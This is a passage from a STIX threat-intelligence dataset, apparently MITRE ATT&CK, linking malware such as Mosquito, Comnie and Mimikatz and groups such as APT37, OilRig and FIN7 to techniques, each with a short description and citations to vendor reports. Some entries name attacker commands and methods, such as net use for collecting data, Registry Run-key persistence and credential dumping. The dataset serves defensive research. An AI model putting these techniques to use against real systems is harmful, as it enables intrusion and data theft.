                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.135Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net start</code> and <code>net stop</code> commands can be used in [Net](https://attack.mitre.org/software/S0039) to execute or stop Windows services.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.551Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9b203f00-34db-475f-a28b-f5088d937f4e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>ipconfig /all</code> to gather system network configuration details.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.536Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--21c14374-e5a7-4a68-8ae8-12d5e47c1e63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322",
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "description": "(Citation: FireEye APT37 Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.915Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c2909563-2b7e-48d6-b165-05b8eff63862",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected data from remote systems by mounting network shares with <code>net use</code> and using Robocopy to transfer data.(Citation: PWC Cloud Hopper April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "source_name": "PWC Cloud Hopper April 2017"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.515Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3c210990-7596-4773-a640-adf44490d08d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the <code>tasklist</code> to view running processes on the victim\u2019s machine.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.023Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c5535462-7d2c-4a97-a717-b29ea23e00cd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.(Citation: ESET Turla Mosquito Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:55:34.998Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3b5d1788-c59b-4e84-97b0-b109df608619",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net view \\\\remotesystem</code> and <code>net share</code> commands in [Net](https://attack.mitre.org/software/S0039) can be used to find shared drives and directories on remote and local systems respectively.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.553Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) uses RC4 encryption to obfuscate HTTP traffic.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:14:33.074Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fad2a504-6e00-4892-bf88-b49d6d18788c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been known to dump credentials.(Citation: Novetta-Axiom)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                }
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2019-03-22T19:55:13.724Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--393a3ec4-9970-44ab-ae63-1e9c6bed0310",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-09-04T22:55:40.870Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2dec6ce1-e459-4266-86d5-f336ab056f17",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of deleting Registry keys, sub-keys, and values on a victim system.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.029Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0500bac5-bc50-4529-ae5f-b4e1a85fa7d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067)'s has added persistence via the Registry key <code>HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\</code>.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.648Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One [HTTPBrowser](https://attack.mitre.org/software/S0070) variant connected to its C2 server over port 8080.(Citation: ZScaler Hacking Team)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ZScaler Hacking Team",
                    "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.",
                    "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--69f45e5e-2ebe-4cce-a4cd-e1db67bdff1a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate active windows.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830"
        },
        {
            "id": "relationship--c334b4c6-43f1-4452-8a1f-3d056fba9ac0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used regsvr32 for execution.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.128Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a02da835-676d-47df-86c6-547a7d29dbae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Psylo](https://attack.mitre.org/software/S0078) uses HTTPS for C2.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:15:30.728Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used various types of scripting for execution.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/",
                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
                    "source_name": "OilRig ISMAgent July 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                },
                {
                    "source_name": "Unit42 OilRig Nov 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/",
                    "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019."
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-20T17:37:14.727Z",
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        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) establishes persistence via a Registry Run key.(Citation: Palo Alto DNS Requests)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.637Z",
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        },
        {
            "id": "relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper contains an implementation of an SSP.(Citation: Deply Mimikatz)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Deply Mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "url": "https://github.com/gentilkiwi/mimikatz"
                }
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "type": "relationship",
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        },
        {
            "id": "relationship--2a945fce-862b-46ff-8ee5-b78b220803f3",
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            "description": "[Volgmer](https://attack.mitre.org/software/S0180) checks the system for certain Registry keys.(Citation: US-CERT Volgmer 2 Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-10-15T22:51:02.891Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fa2a7222-e9b1-4e97-82da-42a9c4014bdd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can list the running processes and get the process ID and parent process\u2019s ID.(Citation: GitHub Pupy)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
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                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.727Z",
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        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.452Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--dff84383-c4c5-4974-a33d-9e43526abf49",
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            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
            "external_references": [
                {
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "source_name": "DarkReading FireEye FIN5 Oct 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "description": "(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
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            "modified": "2019-04-24T19:41:25.878Z",
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        },
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used application shim databases for persistence.(Citation: FireEye FIN7 Shim Databases)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
                    "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.",
                    "source_name": "FireEye FIN7 Shim Databases"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.342Z",
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:08:08.878Z",
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        {
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            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.413Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used the open source tool Essential NetTools to map the network and build a list of targets.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.740Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--36112f24-7814-4c75-b5b7-a1205bb28b68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
